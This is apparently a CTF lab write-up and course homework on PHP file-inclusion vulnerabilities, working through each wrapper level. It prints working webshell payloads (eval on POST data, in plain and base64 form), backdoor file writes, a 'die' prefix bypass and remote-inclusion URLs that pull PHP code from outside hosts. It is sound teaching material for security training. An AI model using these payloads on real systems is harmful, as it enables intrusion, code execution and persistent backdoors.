PHPinclude-labs
PHP⽂件包含类靶场,各类协议的讲解以及基于协议的LFI/RFI。
碎碎念
这是PHP系列靶场,⽐较体系化的第⼆个,同上⼀个反序列化的靶场(PHPSerialize-labs),个⼈⽽⾔PHP其实已经是⼀
个快退休的语⾔了,因为它在Web世界的占⽐越来越少,这⼀点我在备课相关课程和写这系列靶场的时候和朋友交流
过,怀疑过有没有必要写这⼀系列的东⻄,我想安全研究更像是⼀种思想,它不针对任何⼀种语⾔,拿⽂件包含来说
—— 我们千⽅百计的从开发⼿册中挖掘各种各样的函数,去拼接各种各样的协议,到后⾯从语⾔甚⾄语⾔之外的中间
件寻找各种各样的临时⽂件,这看起来应该不是针对这⼀种语⾔的...
总之,希望这个靶场能够帮到你,哪怕⼀点点灵感——或许呢?
(个⼈观点)对于PHP⽂件包含的⼤致学习路径(即本仓库靶场题⽬顺序逻辑):
⽂件包含相关函数(PHP⼿册 > 语⾔参考 > 流程控制) - require,include,require_once,include_once
PHP⽀持的协议和封装协议:wrappers
PHP能使⽤的 URL 包装器( wrapper)的⽂件系统函数:ref.filesystem
查找可利⽤的⽂件(可控可被包含):可控的⽂件上传,可控的⽇志,特性⽂件等。
⼀些基于PHP语⾔底层逻辑的Bypass⼿段:require/include_once 缺陷,FilterChain ...
其他特殊利⽤技巧:opcache缓存,【compress.zlib⽣成临时⽂件;Nginx 在后端 Fastcgi 响应过⼤产⽣临时⽂件】(本质
上属于查找可利⽤的⽂件),pearcmd.php ...
WriteUp
Level 0 include_base
isset($_GET['wrappers']) ? include($_GET['wrappers']) : '';
⼀个三⽬运算,其实等价于:
if (isset($_GET["wrappers"])) {
include($_GET["wrappers"]);
} else {
}
这是⼀个没有过滤,纯include的关卡,你可以在这个题⽬中测试你想要使⽤的包含姿势,当然关卡的⽂本在后⾯可能会有
⽤(如果您的部署位置在⾮内⽹且⽀持多个容器)。
当然如果你对⽂件包含有些疑惑,请看下⾯的补充内容。
我们建议您同时参阅【PHP⼿册· include 表达式包含并运⾏指定⽂件】 结合这部分内容进⾏理解。
⾸先,您需要理解这个标题 —— "包含并运⾏指定⽂件",如果include包含⼀个 在有效的 PHP 起始和结束标记之中 的PHP代
码它将被执⾏,否者只会在⻚⾯上打印输出内容的⽂本形式。
然后您需要注意⼿册中的这⼏点:
"寻找路径的⽅式": 被包含⽂件先按参数给出的路径寻找,如果没有给出⽬录(只有⽂件名)时则按照 include_path 指定
的⽬录寻找。如果在 include_path 下没找到该⽂件则 include 最后才在调⽤脚本⽂件所在的⽬录和当前⼯作⽬录下寻
找。
"路径定义的⽀持程度": 如果定义了路径——不管是绝对路径(在 Windows 下以盘符或者 \ 开头,在 Unix/Linux 下以
/ 开头)还是当前⽬录的相对路径(以 . 或者 .. 开头)——include_path 都会被完全忽略。例如⼀个⽂件以 ../ 开
头,则解析器会在当前⽬录的⽗⽬录下寻找该⽂件。
Level 1 file协议
Level 1 ~ Level 9 为协议部分的知识关卡,这部分在PHP⼿册也叫封装协议 - 【PHP⼿册 - ⽀持的协议和封装协议
(wrappers)】
协议名称
功能 allow_url_fopen allow_url_include 示例
file://
访问本地⽂件系统 Off/On ⽆ file:///flag
data://
数据(RFC2397) On On data://text/plain,<?php phpinfo();?>
data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8+
http://
访问HTTP(s)⽹址 On On https://raw.githubusercontent.com/ProbiusOfficial/PHPincludelabs/main/RFI
php://
访问各个输⼊/输出流(I/Ostreams) Off/On 基于参数 php://xxx
php://input
访问请求的原始数据的只读流 Off/On On php://input + [POST DATA部分]
(RAW模式下POST中的DATA数据块)
php://filter
⽤于数据流打开时的筛选过滤应⽤ Off/On Off/On php://filter/x=A\|B\|C\|/resouce=xxx
zlib://
压缩流,可以访问压缩⽂件中的⼦⽂件,更重 Off/On Off/On compress.zlib://file.gz
compress.bzip2:// 要的是不需要指定后缀名,⽀持任意后缀。 compress.bzip2://file.bz2
zip:// zip://[压缩⽂件绝对路径]#[压缩⽂件内的⼦⽂件名]
phar://
PHP 归档 ? ?
协议的介绍请跟进每个关卡中注释引导部分。
由于题⽬限定使⽤file协议: include("file://".$_GET['wrappers']) 所以你只能使⽤绝对路径来完成题⽬,当然,题
⽬使⽤ __DIR__ 告知了你当前路径,
若按照题⽬提示 ?wrappers=/var/www/html/phpinfo.txt 可以包含当前路径下的 <?php phpinfo(); ?> 您可以看到
phpinfo ⻚⾯,虽然为.txt⽂本⽂件,但⽂件内容符合php代码规范,因此它能够被执⾏ —— 这⼀定说明,被包含的⽂件是
否能被执⾏只取决于其⽂件内容。
若按照题⽬提示 ?wrappers=/var/www/html/flag.php 你会发现屏幕没有任何变化,F12查看源码也没有发现任何注释的
新增,这是因为 flag.php 中 flag以静态变量形式存储:
<?php $flag = "HelloCTF{Test_Flag}"; ?>
由于并没有输出操作,它只会被加载到服务器或者说容器的内存中,这种形式的FLAG您⽆法通过单纯包含得到。
本题 Flag 有⽂本形式,只需要包含根⽬录下的 flag ⽂本即可: ?wrappers=/flag
最终执⾏的操作语句: include("file:///flag");
Level 2 data协议
在注释引导中对该协议已经介绍的⾮常详细,其⽀持⽂本和base64形式。
如果传⼊的数据是PHP代码,就会执⾏代码:
data://text/plain,<?php phpinfo();?>
data://text/plain,<?php eval($_POST['helloctf']);?>
data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8+
data://text/plain;base64,PD9waHAgZXZhbCgkX1BPU1RbJ2hlbGxvY3RmJ10pOz8+
or data:text/plain
当然要注意,去包含data协议中的内容其实相当于进⾏了⼀次远程包含,所以data协议的利⽤条件需要 php.ini 中开启
allow_url_fopen 和 allow_url_include
题⽬限定使⽤data协议: include("data://text/plain".$_GET['wrappers'])
本关卡的解法可以⽤引导中提供的⼀句话⽊⻢(⽂本和base64两种形式均可):
GET: ?wrappers=,<?php eval($_POST['helloctf']);?> 然后 POST: helloctf=system('cat /flag');
当然您也可以尝试去 cat flag.php 这不会执⾏该部分代码,但是结果可能会以注释的⽅式添加到当前⻚⾯,所以
请注意查看源代码。
或者 建议使⽤ tac —— tac命令与cat命令展示内容相反,⽤于将⽂件以⾏为单位的反序输出,即第⼀⾏最后显示,最
后⼀⾏先显示。
Level 3 data协议_2
该关卡添加了过滤,但依旧只能使⽤data协议,观察正则和可⽤字符:
<?php
$all_chars = array_merge(range(chr(32), chr(126)));
$regex = "/flag|\~|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\_|\+|\=|\./i";
echo "可⽤字符: "."\n";
foreach ($all_chars as $char)
{
if (!preg_match($regex, $char))
{
echo $char." ";
}
}
?>
A-Za-z0-9的形式很明显符合Base64标准编码表,所以该关卡使⽤Base64的输⼊形式进⾏Bypass即可,但是要注意,由于 =
和 + 被过滤,在输⼊Payload的时候要注意不要出现 + 以及即时删除 =
根据base64解码规则和php中base64解码宽松性,= 在解码过程开始前会被移除,所以不会影响解码结果,但是+号
作为码表的⼀部分移除会导致解码不正确,注意分别。
Payload:
GET: ?wrappers=;base64,PD9waHAgZXZhbCgkX1BPU1RbJ2hlbGwnXSk7Pz4 , POST: hell=system('cat /flag');
Level 4 http:// & https:// 协议
请先回顾引导区内容:
http/https 协议 (
https://www.php.net/manual/zh/wrappers.http.php) — 常规 URL 形式,允许通过 HTTP 1.0 的
GET⽅法,以只读访问⽂件或资源,通常⽤于远程包含。
注意远程⽂件需要为可读的⽂本形式。
依赖:allow_url_fopen:On;allow_url_include:On;
由于本题提供了现成的⽂本后⻔,只需要考虑如何⽤http去包含即可 —— 127.0.0.1 就⾏。
当然已经⽤上了http协议,本关也可以⾃⾏包含其他远端上的PHP代码:
https://raw.githubusercontent.co ... clude-labs/main/RFI
https://gitee.com/Probius/PHPinclude-labs/raw/main/RFI
如果您有⾃⼰的vps也可以包含⼀个开放在web服务的⽂本⽂件:
http://xxx.xxx.xxx.xxx/x.txt
http://domain.xxx/x.txt
本题解法:GET: ?wrappers=127.0.0.1/backdoor.txt POST: ctf=system('cat /flag');
Level 5 http:// & https:// 协议_2
直接访问 challenge.txt :
" : die('Access Denied');?>
1==2 才能执⾏很明显不⾏(,本题使⽤远端包含:
<?php @eval($_POST['a']); ?>
https://raw.githubusercontent.co ... clude-labs/main/RFI
https://gitee.com/Probius/PHPinclude-labs/raw/main/RFI
本题解法:GET: ?wrappers=raw.githubusercontent.com/ProbiusOfficial/PHPinclude-labs/main/RFI
POST: a=system('cat /flag');
Level 6 php:// 协议
php:// — 访问各个输⼊/输出流(I/O streams),PHP中最为复杂和强⼤的协议(
https://www.php.net/manual/zh/
wrappers.php.php)。
在CTF中经常使⽤的如下:
php://input - 可以访问请求的原始数据的只读流,在POST请求中访问POST的data部分,在
enctype="multipart/form-data" 的时候php://input 是⽆效的。常⽤于执⾏代码。 依赖:allow_url_include:On
php://filter - (PHP_Version>=5.0.0)其参数会在该协议路径上进⾏传递,多个参数都可以在⼀个路径上传递,从⽽组
成⼀个过滤链,常⽤于数据读取。
Demo 关卡,⽤于⾃由探索 php:// 协议,你可以使⽤下⾯任意⼀种⽅法通关(不唯⼀):
php://input + [<?= system('tac flag.???');?>]
php://input + [<?php fputs(fopen('backdoor.php','w'),'<?php @eval($_GET[ctf]); ?>'); ?>]
php://filter//resource=/flag
php://filter/read=convert.base64-encode/resource=flag.php
php://filter/convert.base64-encode/resource=flag.php
Level 7 php://input 协议
php://input - 可以访问请求的原始数据的只读流,在POST请求中访问POST的data部分,在
enctype="multipart/form-data" 的时候php://input 是⽆效的。常⽤于执⾏代码。 依赖:allow_url_include:On
php://input做为include的直接参数时,如题,php执⾏时会将post内容当作⽂件内容,要注意,php://input不⽀持
post提交,其请求的参数格式是原⽣(Raw)的内容,⽆法使⽤hackbar提交,因为hackbar不⽀持raw⽅式
题⽬已经提供对应答案:
<?php eval($_GET['ctf']); ?> /* 间接代码执⾏ */
<?php fputs(fopen('backdoor.php','w'),'<?php eval($_POST["ctf"]); ?>'); ?> /* ⽣成后⻔⽊⻢ */
<?= system('tac flag.???');?> /* 直接命令执⾏ */
Level 8 php://filter_过滤器&字符串过滤器
GET: ?wrappers=filter/string.rot13/resource=/flag
Level 9 php://filter_转换过滤器
GET: ?wrappers=filter/convert.base64-encode/resource=flag.php
Level 10 ⽂件系统函数_file_get_contents()
我们常⻅的⽂件包含题⽬的⼤多数考点主要集中在类似 include() 函数(这⾥的类似强调的是 incdlue、require、
include_once、require_once)的调⽤上,除开直接的⽂本包含,更多还涉及到了⼀些封装协议(wrappers)的使⽤,⽐如
file 协议、data 协议、php 协议等等。
早在我们之前提及该部分对应⽂档 【⽀持的协议和封装协议】
https://www.php.net/manual/zh/wrappers.php 时,其中
的这样⼀句话就有强调 “PHP 带有很多内置 URL ⻛格的封装协议,可⽤于类似 fopen()、 copy()、 file_exists() 和 filesize()
的⽂件系统函数。”这些函数的特定 —— 【⽂件系统·⽂件系统函数】
https://www.php.net/manual/zh/book.filesystem.p
hp。
所以在⽂件包含的题⽬中,除了include类型函数,其他⽂件系统函数也可以⽤来考察协议⽅⾯的内容,⽐如
file_put_contents(), file_get_contents(), file(), readfile() .etc。
file_get_contents 算是标准的Read⾏为,作为⽂件函数,他同样⽀持封装协议,由于题⽬要求输出的内容不能含有
flag 关键字,可以尝试字符串或者转换过滤器:
php://filter/string.toupper/resource=/flag (正则并没有匹配⼤⼩写)
php://filter/string.rot13/resource=/flag
php://filter/read=convert.base64-encode/resource=/flag
...
Level 11 ⽂件系统函数_file_put_contents()
如果使⽤了file_put_contents()函数,可以使⽤ php 伪协议的php://filter/write=convert.base64-decode/resource=来做
⽂件(⽊⻢)的写⼊
file_put_contents() 函数(
https://www.php.net/manual/zh/function.file-put-contents.php) 这将对应过滤器中的Write⽅
法,⽤于将数据写⼊⽂件。
file_put_contents($filename,$data) 其中 filename 是要被写⼊数据的⽂件名 —— 如果 filename 是 "scheme://..."
的格式,则被当成⼀个 URL,PHP 将搜索协议处理器(也被称为封装协议)来处理此模式。
function hello_ctf($filename,$data){
if(preg_match("/flag|\~|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\_|\+|\=|\./i", $data)){
die("WAF!");
}
file_put_contents($filename,$data);
}
正则同 Level 3 中⼀样,那么写⼊⼀个Base64字符串即可。
Payload:
GET: ?filename=php://filter/write=convert.base64-decode/resource=backdoor.php
POST: data=PD9waHAgZXZhbCgkX1BPU1RbJ2hlbGwnXSk7Pz4
backdoor.php : <?php eval($_POST['hell']);?>
Level 11- 封装协议解析
死亡绕过前置关卡,最早来源于P⽜2016年的博客⽂章:
https://www.leavesongs.com/PENETRATION/php-filter-magic.h
tml
不过由于PHP版本的更新,string.strip_tags 已经被弃⽤。
注:该关卡没有FLAG.
【filter过滤器】:
string.rot13
string.strip_tags 去除html、PHP语⾔标签 (本特性已⾃ PHP 7.3.0 起废弃)
convert.base64-encode 和 convert.base64-decode
convert.iconv.<input-encoding>.<output-encoding> 或 convert.iconv.<input-encoding>/<output
encoding>
function helloctf($filter){
$wrapper = "php://filter/read=".$filter."/resource=php://input";
echo "This is what you got:"."<br>";
readfile($wrapper);
}
Level 11+ 死亡绕过
function hello_ctf($filename,$data){
if(preg_match("/flag|\~|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\_|\+|\=|\./i", $data)){
die("WAF!");
}
file_put_contents($filename, "<?php die('GAME OVER!') ?>".$data);
}
对内容填充两个字符后可以使前⽅⽆效后⽅正常解析。
GET: ?filename=php://filter/write=convert.base64-decode/resource=shell.php
POST: data=aaPD9waHAgQGV2YWwoJF9QT1NUWydhdyddKTsgPz4
Level 12 LFI&&RFI
本地⽂件包含(LFI,Local File Inclusion) : 打开并包含本地⽂件的⾏为,⽐如我们后⾯会接触的⽇志⽂件包含,session⽂件
包含,FilterChain等等。
本地⽂件包含是最常⻅的⽂件包含漏洞,在前⾯关卡中⼏乎所有的演示都是LFI(⽐如包含phpinfo.txt,backdoor.txt这样
的⾏为)。
try ?wrappers=https://gitee.com/Probius/PHPinclude-labs/raw/main/RFI
RFI- Remote File Inclusion,远程⽂件包含: 读取并执⾏远程服务器上⽂件的⾏为,相⽐于LFI,远程服务器上⽂件的可控性
更⾼,因此危害更⾼,但代价就是条件苛刻,⼗分依赖 allow_url_include 参数。 HTTP/HTTPS 协议是最直观的远程⽂件包
含形式,当然⼀定意义上,使⽤data协议去⽣成字符串然后包含也是⼀种远程⽂件包含。
WEB渗透测试工程师系统班250303期
第32节课作业
实操课程内讲解的文件包含漏洞靶场并截图。